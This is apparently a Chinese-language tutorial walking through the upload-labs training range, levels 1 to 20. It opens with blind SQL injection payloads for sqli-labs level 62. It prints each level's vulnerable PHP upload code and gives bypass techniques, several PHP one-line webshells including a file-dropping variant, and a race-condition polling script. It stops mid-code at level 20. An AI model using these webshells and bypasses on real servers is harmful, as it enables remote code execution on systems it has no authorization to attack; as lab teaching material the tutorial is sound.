六十二关没有报错显示,可以使用布尔盲注和时间注入。id参数是单引号加括号。第五关(布尔盲注),第九关(时间注入)id参数是单引号加括号。

?id=1') and if(length((select database()))=10,sleep(5),1)--+  时间注入,如果出现延迟表示该数据库名长度是10 

?id=1')and length((select database()))=10--+ 布尔盲注

UPload-labs靶场系列

Less1(前端验证)

文件上传漏洞靶场(upload-labs)通关+知识点教程(pass1-21)最新版(超详细)_哔哩哔哩_bilibili

上传一个PHP文件,抓包为空,说明并没有经过我们的抓包工具,猜测为前端验证。因为是进行前端JS校验,因此可以直接在浏览器检查代码把checkFile()函数(即如下图红色框选中的函数)删了或者也可以把红色框改成true,并按回车,即可成功上传php文件

或者采用浏览器禁用前端Javascript的方法。我这里第一种貌似行不通,采用的第二个。即可上传成功。

上传成功后,复制图片链接,利用webshell工具连接即可

一句话木马: <?php @eval($_POST['a']); ?>

Less2(conten-type绕过)

首先上传一个php文件,开启代理抓包,可以看到上传失败,但是上传一个图片就能成功,

在上传图片时,将content-type类型变更,可以发现上传失败,可以猜测为MIME验证。

分析源代码可以发现存在一个MIME的验证

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

于是使用bp抓包,修改上传的PHP的content-type为image/png,即可上传PHP文件,然后复制图片地址用蚁剑连接即可。

Less3(特殊解析后缀)

还是同样的先上传PHP文件抓包,再上传图片文件分别抓包,

可以上传的提示看出这是一个明显的黑名单验证

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

查看源码可以看到黑名单的名字明显不全,可以利用php的低版本特性漏洞,采用特殊解析后缀绕过,尝试php3、php5后缀,可以看到绕过成功,然后放行数据包,复制图片地址,用蚁剑连接即可

Less4(黑名单验证,.htaccess)

源码查看:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

可以看到这次几乎涵盖了所有的后缀名过滤,但是发现不存在 htaccess 后缀

于是首先上传一个.htaccess内容如下的文件:

SetHandler application/x-httpd-php

这样所有文件都会解析为php,然后再上传图片马,就可以解析:

图片马可以用在一句话木马里面加上GIF89a就可以了,然后把后缀名改成png或者jpg等等

上传后用蚁剑连接即可

图片马另一个写法:

 copy 1.jpg/b+2.php 3.jpg 
/b是二进制形式打开
/a是ascii方式打开

htaccess开启方法:找到apache配置文件httpd.conf,全局搜说over找到如下图,将所有AllowOverride设置为ALL即可,这个值代表允许覆盖所有文件。

Less5(黑名单验证,user.ini/点+空格)

根据上传目录可以看到该上传目录下已经包含了=一个readme.php文件,于是可以利用user.ini的漏洞进行绕过。

首先编写图片木马,然后后缀改为.jpg后缀,且保证该图片中只包含php代码

<?php 
@eval($_POST['a']); 
echo"包含成功<br/>"             //这一句仅作提示
?>

然后编写user.ini文件,使得访问所有php文件之前都会先去加载111.jpg文件内容

auto_prepend_file=111.jpg

然后上传,访问其中的readme.php文件,即可访问后门

可以看到连接成功

另一种方式是点+空格绕过

查看源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

分析代码可以发现关键过滤步骤是这几步:
        $file_name = trim($_FILES['upload_file']['name']);//提取文件名
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');//获取文件后缀,最后一个.及之后的内容
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

根据这几步关键步骤,我们采取逆推,可以发现,加入上传一个1.php. .文件,那么就可以绕过

上传成功,再用蚁剑连接即可。

Less6(黑名单验证,大小写)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

代码中的大小写拦截并不完善。利用.phP文件绕过

Less7(空格绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这一关黑名单,没有使用trim()去除空格,可以使用空格绕过黑名单。如1.php (注意这里有个空格)

Less8(点号绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这一关黑名单,没有使用deldot()过滤文件名末尾的,可以使用文件名后加.进行绕过

抓包,修改上传一句话木马文件名1.php.(注意这里有个点)

Less9(额外数据流绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这一关黑名单,没有对::$D A T A 进 行 处 理 , 可 以 使 用 : : $DATA进行处理,可以使用::$DATA进行处理,可以使用::$DATA绕过黑名单上传PHP一句话文件,抓包改后缀1.php::$DATA
然后使用蚁剑连接1.php (注意蚁剑连接路径不要加上::$DATA)

Less10(点空格点拼接绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这一关黑名单,最后上传路径直接使用文件名进行拼接,而且只对文件名进行
f i l e n a m e = d e l d o t ( file_name = deldot(filename=deldot(file_name)操作去除文件名末尾的点

构造后缀绕过黑名单补充知识:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来上传1.php 然后用bp改后缀加点空格点(即文件名为1.php. .)

Less11(黑名单一次额验证,双写绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

Less-12(get %00截断)

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}
知识补充:
strrpos(string,find[,start]) 函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)。
substr(string,start[,length])函数返回字符串的一部分(从start开始 [,长度为length])
magic_quotes_gpc 着重偏向数据库方面,是为了防止sql注入,但magic_quotes_gpc开启还会对$_REQUEST, $_GET,$_POST,$_COOKIE 输入的内容进行过滤

这一关白名单,最终文件的存放位置是以拼接的方式,可以使用%00截断,但需要php版本<5.3.4,并且magic_quotes_gpc关闭。原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。

上传1.php用BP抓包修改参数,把upload/后面加上1.php%00(即图二),下面的filename=”1.php”改为1.png

上传完成后复制图像地址,将后面的php后面的内容删除即可访问

Less-13(post 0x00截断)

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

这一关白名单,文件上传路径拼接生成,而且使用了post发送的数据进行拼接,我们可以控制post数据进行0x00截断绕过白名单(POST不会对里面的数据自动解码,需要在Hex中修改。)上传1.php用BP抓包修改参数,然后修改后的结果为如图

原图:

修改:

由于POST不能编码,所以转到hex中将对应位置的php后面改为00

上传成功后,复制图片连接,将路径地址后面的图片删掉即可访问PHP,蚁剑同理

Less-14(图片文件头绕过)

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

代码会读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件,可以利用图片马绕过配合文件包含漏洞实施。

补充知识:
1.Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG。
2.Jpg图片文件包括2字节:FF D8。
3.Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。
4.Bmp图片文件包括2字节:42 4D。即为 BM。

制作图片马后上传,配合使用文件包含才能解析木马的执行,单单进行图片马的上传,服务器解析时会把图片马解析成图片文件,从而不能运行后门代码。也无法连接蚁剑。文件包含页面链接就在那里。

图片上传后,复制图片链接

以get方式利用文件包含漏洞引用访问该图片,解析里面的php代码

蚁剑连接也是采用上图url地址

Less-15(图片getimagesize函数绕过)

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

方法与less14保持一致,制作图片马,然后利用文件包含漏洞解析图片马,并连接

Less-16(exif_imagetype图片马)

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

方法也与Less-14一致

Less-17(二次渲染)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

这一关对上传图片进行了判断了后缀名content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接。方法与14关一致,不过建议用gif。

Less-18(条件竞争)

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。

这么看来如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用。但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了。

那还怎么搞?上传上去就被删除了,我还怎么去访问啊。

不慌不慌,要知道代码执行的过程是需要耗费时间的。如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过。

我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间的访问成功。

为了更好的演示效果,把一句话木马换一下改为:

<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>

把这个php文件通过burp一直不停的重放,然后再写python脚本去不停的访问我们上传的这个文件,总会有那么一瞬间是还没来得及删除就可以被访问到的,一旦访问到该文件就会在当前目录下生成一个Tony.php的一句话。在正常的渗透测试中这也是个好办法。因为单纯的去访问带有phpinfo()的文件并没有什么效果。一旦删除了还是无法利用。但是这个办法生成的Tony.php服务器是不会删除的,我们就可以通过蚁剑去链接了。

进行下一步操作前,这里有个小细节,就是不要把BP的拦截功能关闭了,要一直保持拦截状态以达到测试更好的效果,然后选择Clear$

接着设置无限发送空的Payloads,来让它一直上传该文件

最后建议这里把线程设置高一点

然后我们写一个python脚本,通过它来不停的访问我们上传上去的PHP文件(即如上图显示的zoe.php文件) 由于隐私原因,IP地址不能放出来,下面的脚本的url地址XXX都是代表IP地址

import requests
url = "http://xxx.xxx.xxx.xxx/upload-labs/upload/zoe.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

接下来我们可以在BP点击开始攻击

可以看到上传该文件的数据包不停地在进行重放。

在BP攻击的同时我们也要运行python脚本,目的就是不停地访问zoe.php知道成功访问到为止。当出现OK说明访问到了该文件,那么Tony.php应该也创建成功了,用蚁剑连一下试试。

Less-19(解析漏洞+条件竞争)

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。

这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。

这里还是将前一关的代码插入图片作出图片马。然后通过文件包含去访问该图片马。

<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>

生成图片马,然后将其上传,用BP拦截(基本上在BP上的操作跟上面第18关没区别),只不过需要在上传的时候,将文件名改成7z后缀名(利用apache的解析漏洞)也可以改成其他的合法漏洞。

然后其余过程均与18关相似即可

Less-20(/.绕过)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
